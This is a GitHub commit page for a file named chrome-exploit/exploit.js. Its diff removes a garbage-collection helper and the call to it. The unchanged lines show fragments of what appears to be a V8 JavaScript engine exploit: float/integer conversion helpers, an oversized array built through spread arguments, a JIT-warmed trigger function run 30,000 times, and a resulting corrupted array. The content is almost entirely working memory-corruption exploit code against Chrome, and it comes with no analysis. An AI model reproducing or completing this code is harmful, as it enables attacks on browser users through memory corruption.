Skip to content

Commit e07d904

Browse files
committed
Update exploit.js
1 parent ef6df68 commit e07d904

File tree

1 file changed

+0
-7
lines changed

1 file changed

+0
-7
lines changed

chrome-exploit/exploit.js

Lines changed: 0 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -21,12 +21,6 @@ function itof(val) {
2121
return f64_buf[0];
2222
}
2323

24-
function gc() {
25-
for (let i = 0; i < 100; i++) {
26-
new ArrayBuffer(0x100000);
27-
}
28-
}
29-
3024
array = Array(0x40000).fill(1.1);
3125
args = Array(0x100 - 1).fill(array);
3226
args.push(Array(0x40000 - 4).fill(2.2));
@@ -54,7 +48,6 @@ function trigger(array) {
5448
for (let i = 0; i < 30000; ++i) {
5549
trigger(giant_array);
5650
}
57-
gc();
5851

5952
corrupted_array = trigger(giant_array)[1];
6053

0 commit comments

Comments
 (0)